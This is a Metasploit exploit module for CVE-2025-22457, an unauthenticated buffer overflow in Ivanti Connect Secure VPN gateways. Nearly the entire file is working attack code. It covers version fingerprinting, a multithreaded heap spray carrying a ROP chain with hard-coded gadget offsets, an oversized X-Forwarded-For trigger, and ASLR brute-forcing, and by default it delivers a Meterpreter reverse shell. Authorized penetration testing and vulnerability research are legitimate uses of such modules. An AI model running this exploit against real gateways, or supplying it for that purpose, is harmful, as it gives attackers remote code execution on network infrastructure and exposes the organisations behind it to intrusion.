## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp alias tcp_socket_connect connect include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck class IvantiError < StandardError; end class IvantiNotFoundError < IvantiError; end class IvantiUnexpectedResponseError < IvantiError; end class IvantiUnknownError < IvantiError; end class IvantiNetworkError < IvantiError; end def initialize(info = {}) super( update_info( info, 'Name' => 'Ivanti Connect Secure Unauthenticated Remote Code Execution via Stack-based Buffer Overflow', 'Description' => %q{ This module exploits a Stack-based Buffer Overflow vulnerability in Ivanti Connect Secure to achieve remote code execution (CVE-2025-22457). Versions 22.7R2.5 and earlier are vulnerable. Note that Ivanti Pulse Connect Secure, Ivanti Policy Secure and ZTA gateways are also vulnerable but this module doesn't support this software. Heap spray is used to place our payload in memory at a predetermined location. Due to ASLR, the base address of `libdsplibs` is unknown. This library is used by the exploit to build a ROP chain and get command execution. As a result, the module will brute force this address starting from the address set by the `LIBDSPLIBS_ADDRESS` option. }, 'License' => MSF_LICENSE, 'Author' => [ 'Stephen Fewer', # Analysis and PoC 'Christophe De La Fuente', # Metasploit Module ], 'References' => [ ['CVE', '2025-22457'], ['URL', 'https://forums.ivanti.com/s/article/April-Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-22457'], ['URL', 'https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis'], ['URL', 'https://github.com/sfewer-r7/CVE-2025-22457'] ], 'DisclosureDate' => '2025-04-03', 'Platform' => 'linux', 'Arch' => [ARCH_CMD], 'Privileged' => false, 'Targets' => [ [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' } } ] ], 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SERVICE_RESTARTS], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptInt.new('MAX_THREADS', [true, 'Max threads to use when spraying', 32]), OptInt.new('WEB_CHILDREN', [true, 'The number of /home/bin/web child processes', 4]), OptInt.new('LIBDSPLIBS_ADDRESS', [true, 'Lowest possible base address of libdsplibs', 0xf6426000]), OptInt.new('BRUTEFORCE_ATTEMPTS', [true, 'The number of attempts to brute force the base address of libdsplibs', 256]), ] ) end def validate_options if datastore['MAX_THREADS'] < 1 fail_with(Failure::BadConfig, "MAX_THREADS should be at least 1 (current value: #{datastore['MAX_THREADS']})") end if datastore['WEB_CHILDREN'] < 1 fail_with(Failure::BadConfig, "WEB_CHILDREN should be at least 1 (current value: #{datastore['WEB_CHILDREN']})") end end # https://github.com/BishopFox/CVE-2025-0282-check/blob/main/scan-cve-2025-0282.py#L6 def product_version return @product_version if @product_version res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/dana-na/auth/url_admin/welcome.cgi'), 'vars_get' => { 'type' => 'inter' } }) raise IvantiUnknownError, '[product_version] No response from the server' if res.nil? raise IvantiUnexpectedResponseError, "[product_version] Server responded with an unexpected HTTP status code: #{res.code}" unless res.code == 200 unless res.body.match(/name="productversion"\s+value="(\d+.\d+.\d+.\d+)"/i) raise IvantiNotFoundError, '[product_version] Product version not found' end @product_version = Regexp.last_match(1) end def url_schema ssl ? 'https' : 'http' end def check print_status("Checking the product version for #{url_schema}://#{rhost}:#{rport}") # This has been fixed in version 22.7R2.6, which corresponds to 22.7.2 (build 3981) # see https://help.ivanti.com/ps/help/en_US/ICS/22.x/22.7R2/22.xICSRN.pdf if Rex::Version.new(product_version) < Rex::Version.new('22.7.2.3981') return CheckCode::Appears("Detected version: #{product_version}") end CheckCode::Safe("Detected version: #{product_version}") rescue IvantiError => e CheckCode::Unknown("Unknown version: #{e}") end def target_data { # 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f) '22.7.2.3597' => { overflow_length: 622, gadget_mov_esp_ebp_pop_ret: 0x0050c7e6, # mov esp, ebp; pop ebp; ret; offset_to_got_plt: 0x0157c000, gadget_pop_ebx_ret: 0x00033222, # pop ebx; ret; gadget_call_system: 0x0087E31F # mov [esp], edi; call __ZN5DSSys18isInterfaceEnabledEPKc; } } end def send_http_data(data) s = tcp_socket_connect(false, { 'SSLVerifyMode' => 'NONE' }) s.write(data) s rescue Errno::EMFILE, Errno::ECONNRESET, Errno::EPIPE => e raise IvantiNetworkError, "[send_http_data] Error with the socket: #{e}" end def user_agent return @user_agent if @user_agent # list of valid versions from OpenConnect git repository (https://gitlab.com/openconnect/openconnect) # command used to generate this list: `for tag in HEAD v9.12 v9.11 v9.10; do for i in $(seq 5); do git describe --tags ${tag}~${i}; done; done` @user_agent = %w[ v9.12-199-g06afc42b v9.12-198-gb82f00f7 v9.12-196-g32971c1b v9.12-195-g9fe01919 v9.12-193-ge4cc8a65 v9.11-21-g3bc9d788 v9.11-20-g3f4f3415 v9.11-19-gf6d2c8d8 v9.11-18-g0b47190f v9.11-17-g4ca0aa1b v9.10-26-gd40f4370 v9.10-24-g5d1b0883 v9.10-22-gbaa80279 v9.10-21-g3fbba481 v9.10-17-g15b4c533 v9.01-189-g5aca5431 v9.01-188-gb6b85208 v9.01-187-g299d4444 v9.01-186-gab5f1639 v9.01-185-g77838371 ].sample end def make_connections print_status('Making connections...') @lock = Mutex.new threads = [] 0.upto(datastore['MAX_THREADS']) do threads << Rex::ThreadFactory.spawn('IvantiConnectSecureRCE', false) do loop do break unless @lock.synchronize do @spray_socks.size < ((1024 - 256) * datastore['WEB_CHILDREN']) end body = "GET / HTTP/1.1\r\n" body << "Host: #{rhost}:#{rport}\r\n" body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent #{user_agent}\r\n" body << "Content-Type: EAP\r\n" body << "Upgrade: IF-T/TLS 1.0\r\n" body << "Content-Length: 0\r\n" body << "\r\n" s = send_http_data(body) res = s.read fail_with(Failure::Unreachable, 'No response received from the target.') unless res.present? fail_with(Failure::UnexpectedReply, 'Bad response from the target') unless res.include?('101 Switching Protocols') @lock.synchronize do @spray_socks << s end rescue IvantiNetworkError => e fail_with(Failure::Unreachable, "Unable to make a connection. You might need to increase the file descriptor limit with `ulimit` (e.g. `ulimit -n 65535`): #{e}") end end end threads.each(&:join) end def spray(libdsplibs_base) print_status('Spraying...') padding = rand_text(128) spray_pattern = [ # DWORD , # Address where the DWORD will be located after the heap spray SecureRandom.rand(2**32), # 0x39393818: SecureRandom.rand(2**32), # 0x3939381C: SecureRandom.rand(2**32), # 0x39393820: SecureRandom.rand(2**32), # 0x39393824: libdsplibs_base + @target[:gadget_mov_esp_ebp_pop_ret], # 0x39393828: <--- initial eip control, stack pivot gadget. 0x39393828 - 0x10, # 0x3939382C: SecureRandom.rand(2**32), # 0x39393830: <--- points here @ ebp (rop: pop ebp) libdsplibs_base + @target[:gadget_pop_ebx_ret], # 0x39393834: libdsplibs_base + @target[:offset_to_got_plt], # 0x39393838: <--- eax (rop pop ebx) libdsplibs_base + @target[:gadget_call_system], # 0x3939383C: SecureRandom.rand(2**32), # 0x39393840: SecureRandom.rand(2**32), # 0x39393844: SecureRandom.rand(2**32), # 0x39393848: SecureRandom.rand(2**32), # 0x3939384C: SecureRandom.rand(2**32), # 0x39393850: SecureRandom.rand(2**32), # 0x39393854: SecureRandom.rand(2**32), # 0x39393858: 0x3939382C, # 0x3939385C: <--- ctx->dword2C (0x39393830+0x2c) SecureRandom.rand(2**32), # 0x39393860: SecureRandom.rand(2**32), # 0x39393864: 0x39393918, # 0x39393868: <--- ptr to shell_cmd, referenced @ edi SecureRandom.rand(2**32), # 0x3939386C: SecureRandom.rand(2**32), # 0x39393870: SecureRandom.rand(2**32), # 0x39393874: SecureRandom.rand(2**32), # 0x39393878: SecureRandom.rand(2**32), # 0x3939387C: SecureRandom.rand(2**32), # 0x39393880: SecureRandom.rand(2**32), # 0x39393884: SecureRandom.rand(2**32), # 0x39393888: SecureRandom.rand(2**32), # 0x3939388C: SecureRandom.rand(2**32), # 0x39393890: 0x00000000 # 0x39393894: 0x39393830+0x64, this is ctx->max_headers and lets us bail out of the headers loop early. # padding... # 0x39393918: shell_cmd @ edi ].pack('V*') + padding + @shell_cmd fail_with(Failure::BadConfig, 'spray_pattern should be 512 bytes') unless spray_pattern.length == 512 heap_buffer = spray_pattern * ((1024 * 1024 * 3) / spray_pattern.length) ift_body = [ 0x00005597, # VENDOR_TCG 0x00000001, # IFT_VERSION_REQUEST heap_buffer.length + 16 + 1, 0 # seq id ].pack('NNNN') + heap_buffer threads = [] spray_idx = 0 0.upto(datastore['MAX_THREADS']) do threads << Rex::ThreadFactory.spawn('IvantiConnectSecureRCE', false) do loop do s = @lock.synchronize do s = @spray_socks[spray_idx] spray_idx += 1 s end break if s.nil? s.write(ift_body) rescue Errno::EMFILE, Errno::ECONNRESET, Errno::EPIPE => e print_error("Error while writing the socket: #{e}") print_error('This is likely because the `WEB_CHILDREN` option is too high and one of the'\ 'web child crashed. This needs to match the number of vCPUs of the target, '\ 'since the number of child process matched the number of vCPUs.') end end end threads.each(&:join) end def trigger print_status('Triggering...') # Build the buffer with only numerical values buffer = rand_text_numeric(@target[:overflow_length]) buffer += rand_text_numeric(4 * 5) # add 5 more DWORD's buffer += [0x39393830].pack('V') # [ebp+8] and it will now point to our spray pattern fail_with(Failure::BadConfig, 'bad chars in buffer, only 0123456789. allowed') unless buffer.scan(/^[\d.]+$/).any? body = "GET / HTTP/1.1\r\n" body << "X-Forwarded-For: #{buffer}\r\n" body << "\r\n" 1.upto(datastore['WEB_CHILDREN']) do |attempt| print_status("Attempt ##{attempt}") begin send_http_data(body) rescue IvantiNetworkError, StandardError => e vprint_warning("Exception: #{e}") end end end def attempt_exploit(libdsplibs_base) print_status("Trying libdsplibs.so @ 0x#{libdsplibs_base.to_s(16)}") @spray_socks = [] make_connections spray(libdsplibs_base) trigger ensure @spray_socks.each do |s| s.close unless s.closed? end end def exploit validate_options @shell_cmd = "a;export LD_LIBRARY_PATH=/home/lib;#{payload.encoded} #" @shell_cmd << "\x00" @shell_cmd << 'B' while @shell_cmd.length < 256 unless @shell_cmd.length == 256 fail_with(Failure::BadConfig, "shell_cmd should be 256 bytes (current size: #{@shell_cmd.length}") end vprint_status("shell_cmd: #{@shell_cmd}") print_status("Targeting #{url_schema}://#{rhost}:#{rport}") @target = target_data[product_version.to_s] fail_with(Failure::BadConfig, "No target for this version (#{product_version})") unless @target print_status('Starting...') libdsplibs_base = datastore['LIBDSPLIBS_ADDRESS'] _, elapsed_time = Rex::Stopwatch.elapsed_time do # with 8 bits of entropy, we should guess correctly every ~256 attempts (2**8). 0.upto(datastore['BRUTEFORCE_ATTEMPTS'] - 1) do _, attempt_elapsed_time = Rex::Stopwatch.elapsed_time do attempt_exploit(libdsplibs_base) end vprint_status("Attempt elapsed time: #{attempt_elapsed_time} seconds") # give the target a few seconds to respawn the web binary before we try again. Rex.sleep(5) break unless framework.sessions.empty? # increment to the next aligned memory location libdsplibs_base += 0x1000 end end vprint_status("Total elapsed time: #{elapsed_time} seconds") end end